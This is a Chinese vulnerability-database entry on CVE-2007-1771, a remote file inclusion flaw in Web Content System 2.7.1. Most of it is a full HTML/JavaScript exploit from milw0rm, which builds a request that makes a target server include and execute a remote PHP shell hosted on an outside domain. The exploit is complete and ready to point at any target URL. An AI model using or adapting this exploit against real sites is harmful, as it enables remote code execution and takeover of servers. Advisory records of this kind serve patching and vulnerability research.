AY System Solutions Web Content System 远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112571 漏洞类型 输入验证
发布时间 2007-03-27 更新时间 2007-03-31
CVE编号 CVE-2007-1771 CNNVD-ID CNNVD-200703-680
漏洞平台 PHP CVSS评分 9.3
|漏洞来源
https://www.exploit-db.com/exploits/3592
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200703-680
|漏洞详情
AySystemSolutionsWebContentSystem(WCS)2.7.1版本的manage/javascript/formjavascript.php中存在PHP远程文件包含漏洞。远程攻击者可以借助path[JavascriptEdit]参数中的一个URL,执行任意的PHP代码。
|漏洞EXP
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>Web Content System <<< v2.7.1 Remote File Include Exploit</title>

<script language="JavaScript">

//'===============================================================================================
//'[Script Name    : Web Content System <<< v2.7.1 Remote File Include Exploit Remote File Include Exploit
//'[Coded by       : KEZZAP66345
//'[Author         : KEZZAP66345
//'[Contact        : kezzap66345@hotmail.com
//'[Dork           : :(
//'[download.Page  : http://aysad.net/download/?id=AySystemWCS27stable
//'[S.Page         : http://aysad.net/
//'===============================================================================================

//'[[ERROR]]]------------------------------------------------------
//'....
//'..
//'<?
//'
//'<?include($path["JavascriptEdit"]);?>
//'
//'?>
//'....
//'..
//'[[ERROR]]]---------------------------------------------------------

//# kezzap66345.Turkey
//# ...



     //Basic exploit,but any time : (
   var path="/manage/javascript/"
   var adres="/formjavascript.php?" //dosya ad.
   var acik ="path[JavascriptEdit]=" // remote file include ;)
   var shell="http://freewebs.com/kezzap66345/1.php?" // Shell Script

   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }



  rfi.action= document.rfi.target1.value+path+adres+acik+shell; //
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="white">Web Content System v2.7.1 Remote File Include Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="2" color="#FF0000">Target:</font><font face="Arial" size="1" color="blue">[http://[target]/[scriptpath]</font><font color="RED" size="3" face="Arial">
  </font><font color="#FF0000" size="2"> </font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Sorgula" name="B1"><input type="reset" value="Temizle" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">KEZZAP66345</font></b></p>
</center>
</body>
</html>

# milw0rm.com [2007-03-27]
|参考资料

来源:BID
名称:23171
链接:http://www.securityfocus.com/bid/23171
来源:MILW0RM
名称:3592
链接:http://www.milw0rm.com/exploits/3592
来源:SECUNIA
名称:24663
链接:http://secunia.com/advisories/24663
来源:OSVDB
名称:34500
链接:http://osvdb.org/34500
来源:XF
名称:wcs-formjavascript-file-include(33281)
链接:http://xforce.iss.net/xforce/xfdb/33281
来源:VUPEN
名称:ADV-2007-1139
链接:http://www.frsirt.com/english/advisories/2007/1139